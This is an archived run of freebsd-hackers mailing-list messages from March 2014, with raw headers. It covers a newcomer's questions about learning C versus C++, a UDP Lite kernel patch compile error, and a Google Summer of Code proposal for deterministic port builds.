Content-Transfer-Encoding: quoted-printable Message-Id: X-Mailer: iPhone Mail (11D169) From: by Subject: Re: Something related to C and C++ Date: Tue, 18 Mar 2014 07:54:50 +0800 To: Johan Bucht Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 23:55:04 -0000 I got no chance to learn in college, cause I will graduate this summer and I= want find a job Unix-related, C-related, in my college, I had not learn muc= h in C and Unix, cause my college use Windows, and not focus on C-related, a= nd for me, I start learning these this year, and I think I prefer read books= just a little everyday, it can make me continuously familiar with these mat= erial which I like work on. I got four books in my hand now: C related, Unix related, FreeBSD related, and C++ related. And I think that the src in FreeBSD base system is a good way to practice C,= like some simple utilities: echo, ls, etc. And FreeBSD got many historical d= ocs in base system, and I think it is a great way to understand FreeBSD or U= nix world more. The only problem is that, I find no passion if I just learn, maybe this will= change after I got a related job. - by > On Mar 18, 2014, at 0:36, Johan Bucht wrote: >=20 > The systems programming class in university was a lot about rewriting > common unix tools from 'cut' to a shell and network programming. >=20 >=20 >=20 >> On Mon, Mar 17, 2014 at 5:22 PM, by wrote: >>=20 >> By the way, who knows how to improve C skills? Cause I am a newbie, and I= >> am reading the book <> >> But I plan read it a little everyday, so any other methods? >>=20 >> - by >>=20 >>> On Mar 18, 2014, at 0:15, by wrote: >>>=20 >>> I totally agree with you! >>> Actually, now I prefer the domain which is not too low but not too high >> neither, in a word, I think being a system programmer should be cool. >>>=20 >>> - by >>>=20 >>>> On Mar 17, 2014, at 21:22, Johan Bucht wrote: >>>>=20 >>>> As there are different strengths and weaknesses resulting from the >> design decisions chosen for the different languages, learn as many >> different types as you can and experience how they shape solutions to >> problems in different ways and how you reason about them. >>>>=20 >>>> "I have never met anybody who has changed their reasoning first and >> their habits second. You change your habits first." >>>>=20 >>>> The end goal is to solve problems in your domain, having a languages >> that maps perfectly to that domain (or makes it easy to create domain >> specific languages in) will certainly make it easier to read and write th= at >> code. But is it worth creating and maintaining that language for a small >> domain and train people in it? General purpose languages exists because o= f >> this. They might not map perfectly to the domain, but they have familiari= ty >> and cross breeding between users in different domains. >>>> Some languages are really small with little functionality included in >> the standard library, others are huge and contain a lot of seldom used >> functionality. For the small languages you might need to write common >> functionality yourself or find something someone else has written. For >> large languages you get that for free and most users will use what's >> provided. You get a standard way of solving problems, but the tools might= >> not be best of breed or suit your specific use case. >>>>=20 >>>> /Johan >>>>=20 >>>>=20 >>>>> On Mon, Mar 17, 2014 at 11:38 AM, by wrote: >>>>> Yes, you are right, i have some prejudice for C++ before, but now, i >> think i won't, cause if i have not deeply working for some languages, >> technologies, i have no right to judge it, i need more and more practice := ) >>>>> Different fields got different technologies, the only key i think is >> that which field you prefer, and what kind of technology you prefer. >>>>>=20 >>>>> - by >>>>>=20 >>>>>=20 >>>>>> On 2014/3/17 17:14, Johan Bucht wrote: >>>>>> Working in higher level languages like Java, Ruby, Python and C++ >> does have >>>>>> some advantages to C and some disadvantages. There are always trade >> offs >>>>>> and there will always be languages closer to the domain that will be >> more >>>>>> elegant to solve specific problems. >>>>>> If you're mainly doing programming close to the hardware the >> abstractions >>>>>> from those higher level languages doesn't add much value and the >> runtime >>>>>> with garbage collection and more is something you probably need to be= >> able >>>>>> to turn off. >>>>>> It's of course possible to implement a lot of the features in higher >> level >>>>>> languages in lower level ones, but the syntax will not be that >> suitable for >>>>>> it and you need to impose restrictions on yourself instead of the >> language >>>>>> doing it for you. >>>>>> For some tasks C is too high level and Assembler is needed but for >> most of >>>>>> the tasks any language will do and it's a matter of personal taste. >>>>>>=20 >>>>>> /Johan >>>>>>=20 >>>>>>> On Mon, Mar 17, 2014 at 3:50 AM, by wrote: >>>>>>>=20 >>>>>>> Well, I think C++'s popular has something related to C's popular >> use, but >>>>>>> it contains too much, I prefer simple tool, do one thing, and do it >> well, >>>>>>> no more extras, and build a system with their combinations, at least= >> the >>>>>>> base system. >>>>>>>=20 >>>>>>> - by >>>>>>>=20 >>>>>>>> On Mar 17, 2014, at 10:38, Erich Dollansky wrote:= >>>>>>>>=20 >>>>>>>> Hi, >>>>>>>>=20 >>>>>>>> On Mon, 17 Mar 2014 10:20:55 +0800 >>>>>>>> by wrote: >>>>>>>>=20 >>>>>>>> as C++ is C plus 'some' extras, just start with C. When you know C -= >>>>>>>> which you have to know anyway to write C++ programs - you can add >> C++ >>>>>>>> to your knowledge. >>>>>>>>=20 >>>>>>>> Never forget that object orientated programming is much older than >> C++ >>>>>>>> and can be done in most languages. I did my first steps in object >>>>>>>> orientated programming in 8080 assembler without even knowing that >>>>>>>> what I did will be later be known as object orientated programming.= >>>>>>>>=20 >>>>>>>> The little programming I still do is all done in C but using some o= f >>>>>>>> the 'addons' of C++. So, all my sources are .cpp files. >>>>>>>>=20 >>>>>>>> Erich >>>>>>>>> Hi, >>>>>>>>> At first, I would say, I do not want to lead to a holy war between= >>>>>>>>> programming languages, and I am a newbie in this field, but I am >>>>>>>>> confused about this, so I want get some answers or discusses from >>>>>>>>> here to help me thinking about this. I found that in IT industry, >> C++ >>>>>>>>> has more and more users, I can understand why they do this, C++ ca= n >>>>>>>>> make them build system more easy than C does. okay, I just know a >>>>>>>>> little about C++, but in my feeling, C++ can make you do things in= >> a >>>>>>>>> higher place. Yes, C++ is great, but for me, it is too difficult, >> or >>>>>>>>> I would say, it is too complicated. I got two books in my hand, on= e >>>>>>>>> is <>, another is <>>>>>>>> Language>>. Just consider from the weight : ) You can find >> something. >>>>>>>>> Language>>In the past, GCC use C, but now it turn to C++, and LLVM= >> is >>>>>>>>> Language>>written by C++. Yes I prefer C now, and you may say, you= >>>>>>>>> Language>>have not use these two languages deeply, how could you >>>>>>>>> Language>>judge them? Yes, I know I should not judge them, but as a= >>>>>>>>> Language>>newbie, this is my very feeling, just like a kid first >>>>>>>>> Language>>looking at this world! Simple, but confused. At last, I >> am >>>>>>>>> Language>>not lead to a holy war between programming languages, I >>>>>>>>> Language>>just confused and want some related answers. This is it.= >> : ) >>>>>>>>>=20 >>>>>>>>> - by >>>>>>>>> _______________________________________________ >>>>>>>>> freebsd-hackers@freebsd.org mailing list >>>>>>>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>>>>>>>> To unsubscribe, send any mail to >>>>>>>>> "freebsd-hackers-unsubscribe@freebsd.org" >>>>>>> _______________________________________________ >>>>>>> freebsd-hackers@freebsd.org mailing list >>>>>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>>>>>> To unsubscribe, send any mail to " >> freebsd-hackers-unsubscribe@freebsd.org" >>>>>> _______________________________________________ >>>>>> freebsd-hackers@freebsd.org mailing list >>>>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>>>>> To unsubscribe, send any mail to " >> freebsd-hackers-unsubscribe@freebsd.org" >>> _______________________________________________ >>> freebsd-hackers@freebsd.org mailing list >>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>> To unsubscribe, send any mail to " >> freebsd-hackers-unsubscribe@freebsd.org" > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org"= From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 00:05:54 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3A3FEA80; Tue, 18 Mar 2014 00:05:54 +0000 (UTC) Received: from mail-oa0-x22b.google.com (mail-oa0-x22b.google.com [IPv6:2607:f8b0:4003:c02::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id D915BC6B; Tue, 18 Mar 2014 00:05:53 +0000 (UTC) Received: by mail-oa0-f43.google.com with SMTP id eb12so1199374oac.30 for ; Mon, 17 Mar 2014 17:05:53 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=OjU8GaFZtDb7NfbbSxtyJ6ZnP2SS6WtHiwbTQPMFBgY=; b=lVxgpMwkVZlL+00G47PxcFqJ/6HFdMxDy2p+dYnZTZRkrIzEzoxxdnlLDKgT+vfrCT HVrvgJL9dI0zzo97QLH6NS3SqW0KZpntKIyhghTb3UtpJkkOutpefr4Io+knIg/HuB5K 3Kqm38VgvOs6orngtIHN2PdGIP16FNf1inF0DBQBgcjHAxSgaOgYHjy7/L1qf3QrhEe0 3eclBVmKANs7nW1+fy9xWLpxVRgBNFZWlYNefwa8+v65iQqcHPQZ8Oc+QxUHYhDwqExt ahbaP2/4oWrsyYLCkwkYyqkBy0Qr5la/N/nhIbPS5xCWJlADT8aqUg+P3+zYqdgHfSWw NkwQ== MIME-Version: 1.0 X-Received: by 10.182.65.199 with SMTP id z7mr22954556obs.7.1395101153153; Mon, 17 Mar 2014 17:05:53 -0700 (PDT) Received: by 10.182.130.71 with HTTP; Mon, 17 Mar 2014 17:05:52 -0700 (PDT) In-Reply-To: <53269B0E.5020904@FreeBSD.org> References: <53269B0E.5020904@FreeBSD.org> Date: Mon, 17 Mar 2014 20:05:52 -0400 Message-ID: Subject: Re: Definition struct and int From: Joe Nosay To: Kevin Lo Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: FreeBSD Hackers , Adrian Chadd X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 00:05:54 -0000 On Mon, Mar 17, 2014 at 2:49 AM, Kevin Lo wrote: > On 2014/03/17 14:07, Joe Nosay wrote: > >> On Sun, Mar 16, 2014 at 1:07 AM, Joe Nosay >> wrote: >> >> >>> >>> On Fri, Mar 14, 2014 at 5:43 PM, Joe Nosay >>> wrote: >>> >>> >>>> >>>> On Thu, Mar 13, 2014 at 9:26 PM, Adrian Chadd >>>> wrote: >>>> >>>> Is this -HEAD, or? >>>>> >>>>> >>>>> -a >>>>> >>>>> >>>>> On 13 March 2014 18:13, Joe Nosay wrote: >>>>> >>>>>> Testing of a patch for using UDP Lite on FreeBSD caused no compilation >>>>>> errors; however, after adding the options of "VIMAGE" and "MROUTING" >>>>>> to >>>>>> conf/kern?GENERIC, make buildkernel stops with: >>>>>> /usr/src/sys/netinet/udp_usrreq.c:1701:18: error: too few arguments >>>>>> to >>>>>> function >>>>>> call, expected 2, have 1 >>>>>> udp_discardcb(up); >>>>>> ~~~~~~~~~~~~~ ^ >>>>>> /usr/src/sys/netinet/udp_usrreq.c:274:1: note: 'udp_discardcb' >>>>>> >>>>> declared here >>>>> >>>>>> void >>>>>> ^ >>>>>> 1 error generated. >>>>>> *** Error code 1 >>>>>> >>>>>> The file in question of >>>>>> /usr/src/sys/netinet/udp_usrreq.c >>>>>> >>>>>> has the value of >>>>>> udp_discardcb(struct udpcb *up, int isudp) >>>>>> >>>>>> that is causing the problem. >>>>>> >>>>>> >>>>>> >>>>>> I believe that the compiler is looking for a value to int isudp but >>>>>> >>>>> that >>>>> >>>>>> value does not exist. >>>>>> _______________________________________________ >>>>>> freebsd-hackers@freebsd.org mailing list >>>>>> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >>>>>> To unsubscribe, send any mail to " >>>>>> >>>>> freebsd-hackers-unsubscribe@freebsd.org" >>>>> >>>>> >>>> No, it is 10.0 RELEASE #0 r262601 >>>> >>>> Last time, I had entered too many files. Here are the relative files. >>>> >>>> >>>> There was no problem in compiling as listed earlier. I have not >>>> studied >>>> C enough to solve this problem; however, I can see that int isudp >>>> happens >>>> once while the next closest account is int isudplite. >>>> >>>> >>>> I've just upgraded source to head. I have three patches for UDP Lite. >>> The >>> question is which one(s) should I use. >>> >>> The udp-v.diff only has a reference to udp_discardcb up, while patch >>> udplite and udplite.diff have the struct and int references. >>> >>> >>> Could someone possibly point me towards some online documentation that >> would allow me to learn of a solution to this problem? This would be much >> better because I would be solving and learning. >> >> Included are the three patches mentioned earlier. >> >> Yes, I will be looking at them again. >> >> Apologies for any noise and if I am coming off the wrong way. >> > > Hi Joe, > > As I mentioned, my udp-lite's diff no longer applies cleanly against > -HEAD. I've been busy lately and haven't got time to reply to your > messages. > Give me another day or two to cook up a revised patch for you to test. > Thanks! > > Kevin > Alright. From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 00:59:07 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 699419A6 for ; Tue, 18 Mar 2014 00:59:07 +0000 (UTC) Received: from alogt.com (alogt.com [69.36.191.58]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 41FF014B for ; Tue, 18 Mar 2014 00:59:07 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=alogt.com; s=default; h=Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Subject:Cc:To:From:Date; bh=fUIdtqD8dop7Q9I96ddCLl9RbA1oWqJxxRRAnXiCwBo=; b=VuBdGGg36TJN5wAQmVXnvnwPanwOA3a9ClBK/b/3IzBJZEYxO3zo4aQlETJrAfLPiwGTSywaUzQnxhXs1O0oedCaXoaxncZI+NLvdrSwpWxs7dpxkqmytQPlY3mt2eA/sMEr58uhGtG9ylv2jfL9MIq+ss5iDCmAFYVzMZRuhKQ=; Received: from [39.203.60.175] (port=55597 helo=X220.alogt.com) by sl-508-2.slc.westdc.net with esmtpsa (SSLv3:DHE-RSA-AES128-SHA:128) (Exim 4.82) (envelope-from ) id 1WPiMz-001Eot-6E; Mon, 17 Mar 2014 18:59:06 -0600 Date: Tue, 18 Mar 2014 08:58:59 +0800 From: Erich Dollansky To: John-Mark Gurney Subject: Re: Something related to C and C++ Message-ID: <20140318085859.2671ab46@X220.alogt.com> In-Reply-To: <20140317180644.GI32089@funkthat.com> References: <20140317180644.GI32089@funkthat.com> X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.22; amd64-portbld-freebsd10.0) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - sl-508-2.slc.westdc.net X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - alogt.com X-Get-Message-Sender-Via: sl-508-2.slc.westdc.net: authenticated_id: erichsfreebsdlist@alogt.com X-Source: X-Source-Args: X-Source-Dir: Cc: "freebsd-hackers@freebsd.org" , by X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 00:59:07 -0000 Hi, On Mon, 17 Mar 2014 11:06:44 -0700 John-Mark Gurney wrote: > by wrote this message on Mon, Mar 17, 2014 at 10:20 +0800: > > At last, I am not lead to a holy war between programming languages, > > I just confused and want some related answers. This is it. > > Is there a question here related to FreeBSD? I couldn't find one even > after reading it multiple times.. > > If you want to know about differents between C and C++ another forum > is more appropriate than this... > he will get here real-life answers from people who create real solutions with the programming language they are using. Erich From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 01:04:00 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DBC01F09 for ; Tue, 18 Mar 2014 01:04:00 +0000 (UTC) Received: from alogt.com (alogt.com [69.36.191.58]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id B01F01FE for ; Tue, 18 Mar 2014 01:04:00 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=alogt.com; s=default; h=Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Subject:Cc:To:From:Date; bh=+k/C6YA6Yq18nzNRnhtd5yiLeJ8M9qngkT3QavS/Mnc=; b=Z+7x/+Rclq9aSm3LZd0/eMGzrh4d9mxqMG9rpIlhuOMGjaz6w6G2wECHccBGIKCBToYRFjXrT5+DQLLF6QJ37np4xFtz1Jn8GGL7fL/DiKSdos7RlzXau0AxB2MhqTT8ODAF/Gc70D/69ziXI83NFTIzuJrk7OrD2qbbyQRwQdQ=; Received: from [39.203.60.175] (port=31817 helo=X220.alogt.com) by sl-508-2.slc.westdc.net with esmtpsa (SSLv3:DHE-RSA-AES128-SHA:128) (Exim 4.82) (envelope-from ) id 1WPiRi-001Hdt-Sz; Mon, 17 Mar 2014 19:04:00 -0600 Date: Tue, 18 Mar 2014 09:03:52 +0800 From: Erich Dollansky To: by Subject: Re: Something related to C and C++ Message-ID: <20140318090352.403e6f1f@X220.alogt.com> In-Reply-To: References: <20140317103830.53c42ade@X220.alogt.com> <611B8DE5-F593-4574-96AB-0965CA7EDF33@yahoo.com> <5326D093.90308@yahoo.com> <39562806-80F4-4D4C-BAFD-20DCB537B303@yahoo.com> X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.22; amd64-portbld-freebsd10.0) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - sl-508-2.slc.westdc.net X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - alogt.com X-Get-Message-Sender-Via: sl-508-2.slc.westdc.net: authenticated_id: erichsfreebsdlist@alogt.com X-Source: X-Source-Args: X-Source-Dir: Cc: "freebsd-hackers@freebsd.org" , Johan Bucht X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 01:04:00 -0000 Hi, On Tue, 18 Mar 2014 07:54:50 +0800 by wrote: > I got no chance to learn in college, cause I will graduate this > summer and I want find a job Unix-related, C-related, in my college, > I had not learn much in C and Unix, cause my college use Windows, and > not focus on C-related, and for me, I start learning these this year, > and I think I prefer read books just a little everyday, it can make > me continuously familiar with these material which I like work on. I > got four books in my hand now: C related, Unix related, FreeBSD > related, and C++ related. And I think that the src in FreeBSD base > system is a good way to practice C, like some simple utilities: echo, > ls, etc. And FreeBSD got many historical docs in base system, and I > think it is a great way to understand FreeBSD or Unix world more. The > only problem is that, I find no passion if I just learn, maybe this > will change after I got a related job. just take any small program of your choice and try to write it again. You might look at the sources at the beginning but later you try to write a program by just using 'man program' to get the description. The closer your solution comes to the description, the better you are getting. A question to the others. When I see these comments here, I wonder how bad university education got over time. Is this here typical now or just an exception. Erich From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 01:26:51 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9A8C2875 for ; Tue, 18 Mar 2014 01:26:51 +0000 (UTC) Received: from nm16.bullet.mail.bf1.yahoo.com (nm16.bullet.mail.bf1.yahoo.com [98.139.212.175]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 3BFFB3FB for ; Tue, 18 Mar 2014 01:26:50 +0000 (UTC) Received: from [98.139.215.143] by nm16.bullet.mail.bf1.yahoo.com with NNFMP; 18 Mar 2014 01:26:44 -0000 Received: from [98.139.211.206] by tm14.bullet.mail.bf1.yahoo.com with NNFMP; 18 Mar 2014 01:26:43 -0000 Received: from [127.0.0.1] by smtp215.mail.bf1.yahoo.com with NNFMP; 18 Mar 2014 01:26:43 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1395106003; bh=fBKGNHePLYGT7w2+ZHNx4zJg6HEwLa0c5kqEnVcYUho=; h=X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:X-Rocket-Received:References:Mime-Version:In-Reply-To:Content-Type:Content-Transfer-Encoding:Message-Id:Cc:X-Mailer:From:Subject:Date:To; b=r2WwrN9FOiw5By2o7rNJrnYJbAaGGY6/L+0UUM5H8ofj0WR6KExr9X8jYZ+6TUITqfchUEE35RTbeVu3jZEG2xlvb7c02w/IeGU8bXz96knsLXHsIMeOX/igBmkMhixPwzJhRZ9mKjjJv9MqTlBJzDZNu7ql/DO6zXoMWa8GyRA= X-Yahoo-Newman-Id: 924940.24828.bm@smtp215.mail.bf1.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: jImR.SwVM1mVg1z2n7OqYy7Vnwj.m_3Uk1J7h71xK9e2vrs uj_Kts4D4mB0BqNYtkZ6ATcx7UAdGdDoLa5DnOvVij2GqXp8g1r8r83nX72y mfUzaEzKByKBWhlGIit.NhW2PmJHEEsdDkZ8jU0u6.FtKu.tfetdh7t9jOj5 JfRn5qJdO5Ya7S4Wl.EIvH8Bz9rN1ZjnJm1Wp4GK81SwaEWyNVAlDX.aV5I. YMIXF7bIf8z4Ie39pUPVR2E66BFFXbs4.VAEJ7o_H6ZVujwIUO8Jla1FjeyI 8aV2WDKCRt0zGlgySMlkZFSVj_OdXNakHcCJt334shENvQhzBArt3ZcLHHLu 7p6nDmEv_.yK2DIFcTvOJVjycI66BqHkSqIj9wSqzGVFKPNIRkvdUiGaK5Qc luMzZkybgGuqN7R.Lg7vw3jlG1oTeIt6DcsKhqUgXp2Y82d8W99etSCYHKyR Mgs1eGbq7HdSsO0mhv69gNp3.DODvnkEtVesCf7ui6b6bbWbZ_qAuw.a6knU 2QBOEfVi6ce3z2Q8fG8As X-Yahoo-SMTP: LAFNfTaswBDguI7meB90l2l3wOU- X-Rocket-Received: from [10.147.101.71] (free7by@117.136.24.130 with xymcookie [106.10.149.123]) by smtp215.mail.bf1.yahoo.com with SMTP; 17 Mar 2014 18:26:43 -0700 PDT References: <20140317103830.53c42ade@X220.alogt.com> <611B8DE5-F593-4574-96AB-0965CA7EDF33@yahoo.com> <5326D093.90308@yahoo.com> <39562806-80F4-4D4C-BAFD-20DCB537B303@yahoo.com> <20140318090352.403e6f1f@X220.alogt.com> Mime-Version: 1.0 (1.0) In-Reply-To: <20140318090352.403e6f1f@X220.alogt.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Message-Id: <63845FA1-7C69-4BD9-90F5-CB05FD1EB14A@yahoo.com> X-Mailer: iPhone Mail (11D169) From: by Subject: Re: Something related to C and C++ Date: Tue, 18 Mar 2014 09:26:34 +0800 To: Erich Dollansky Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 01:26:51 -0000 Yes, you are right. I think the way you said is a good way to practice, first read from the sour= ce, then write something myself. : ) - by > On Mar 18, 2014, at 9:03, Erich Dollansky wr= ote: >=20 > Hi, >=20 > On Tue, 18 Mar 2014 07:54:50 +0800 > by wrote: >=20 >> I got no chance to learn in college, cause I will graduate this >> summer and I want find a job Unix-related, C-related, in my college, >> I had not learn much in C and Unix, cause my college use Windows, and >> not focus on C-related, and for me, I start learning these this year, >> and I think I prefer read books just a little everyday, it can make >> me continuously familiar with these material which I like work on. I >> got four books in my hand now: C related, Unix related, FreeBSD >> related, and C++ related. And I think that the src in FreeBSD base >> system is a good way to practice C, like some simple utilities: echo, >> ls, etc. And FreeBSD got many historical docs in base system, and I >> think it is a great way to understand FreeBSD or Unix world more. The >> only problem is that, I find no passion if I just learn, maybe this >> will change after I got a related job. >=20 > just take any small program of your choice and try to write it again. > You might look at the sources at the beginning but later you try to > write a program by just using 'man program' to get the description. The > closer your solution comes to the description, the better you are > getting. >=20 > A question to the others. When I see these comments here, I wonder how > bad university education got over time. Is this here typical now or > just an exception. >=20 > Erich From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 00:01:36 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 97939A04 for ; Tue, 18 Mar 2014 00:01:36 +0000 (UTC) Received: from mail-qc0-x229.google.com (mail-qc0-x229.google.com [IPv6:2607:f8b0:400d:c01::229]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 5DEDEC4A for ; Tue, 18 Mar 2014 00:01:36 +0000 (UTC) Received: by mail-qc0-f169.google.com with SMTP id i17so7016786qcy.0 for ; Mon, 17 Mar 2014 17:01:35 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=WthZ3nS0Or2rJh+YjUQOE0Nh5jr+NrQky/JEeZKxNws=; b=K1p2dJG1nf8ZS5iTEwtinmYbvwIZrt6bUyCd8jqCuquOB/J5RWeeFx2nJu9+BPLhx+ CluCqqBYT2MSEo4eern2EAVCL0qn4hQm7b3m0Z4c7CdWwLTDy2kBkB6twB3YPJmvZpW3 hdwIjoE8culaSgFcpHUTLz3zmplH5xvIDjE6utIWyf4JTK7uv0rMzUsfqKzmDKbKdvZf H7IK4n/kwzHzIMP0eGjzq9GsWSmHa5kjISwA3+iRKMi8j8OfwTljcb2PsMRTR+uKuye1 U4UIN1A2ZLcFsnjN86Cj9MmDwy52CnzB9daZ2+rqKcGlN1Lhv2Caimqkb3RqOnOTC3ya 0/KQ== MIME-Version: 1.0 X-Received: by 10.224.128.138 with SMTP id k10mr32644257qas.68.1395100895642; Mon, 17 Mar 2014 17:01:35 -0700 (PDT) Received: by 10.96.128.161 with HTTP; Mon, 17 Mar 2014 17:01:35 -0700 (PDT) Date: Tue, 18 Mar 2014 01:01:35 +0100 Message-ID: Subject: GSoC: Deterministic builds From: Adria Garriga To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Mailman-Approved-At: Tue, 18 Mar 2014 05:11:19 +0000 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 18 Mar 2014 00:01:36 -0000 Hello! I'm Adria (rhaps0dy in IRC). I'd love to participate in the GSoC as a FreeBSD student. Here's the project I have in mind, could you please give me some feedback? Deterministic port builds ========================= Scripts to automatically create a jail or bhyve guest where you can build ports deterministically. On any amd64 host, given an updated ports tree, same CFLAGS, and this jail, the result of the build is byte-by-byte equal. Progress towards this has already been made by several free software development teams, most notably the Debian and Bitcoin teams. Debian have several deterministic build scripts and documentation on what hinders the accomplishment of this goal. It's mainly the time, the build path and the locale, so with libfaketime or an appropriate replacement, canonical build paths inside the jail and using the same locale much would be solved. The Bitcoin team has produced Gitian, (https://gitian.org/), a set of scripts that create an Ubuntu virtual machine on qemu and run deterministic builds on it. On the (few) tests I've run, clang{,++} produce deterministic object files. Seeing that this much of work is already done, I can say that this is not enough for two months of intensive work. That's the reason I've come up with these two extensions. Extension one: -------------- Extend the above procedure to more architectures, ideally all architectures supported by FreeBSD (i386, amd64, IA64, sparc64, powerpc and pc98 if I'm not mistaken). This would require more testing work and almost certainly the use of virtual machines instead of cross-compiling environments, further complicated by the fact that I only have access to i386 and amd64 hardware. Extension two: -------------- Create necessary programs for a volunteer-driven compilation farm. This could help compile 'custom' ports for users with slow machines, or redundantly compile and verify the official binary-distributed packages. It would be either p2p or centralised on a server. I'm aware that this is a huge task, too big for a single month (half a year even). The goal of this extension would be to produce software for a low number (at most ten) of hosts assumed to be always up to share compilation resources and redundantly check for differences (draft at http://cf.bagelbox.org/freebsd-farm.png). To further reduce complexity and make it manageable, it will only compile one reasonably big port (for example Firefox) but will be easily extended. I'm specially interested in the second extension, really. The first one is a bit of unpleasant but necessary hard work. What do you think? Thank you very much! Adria. From owner-freebsd-hackers@FreeBSD.ORG Tue Mar 18 05:14:43 2014 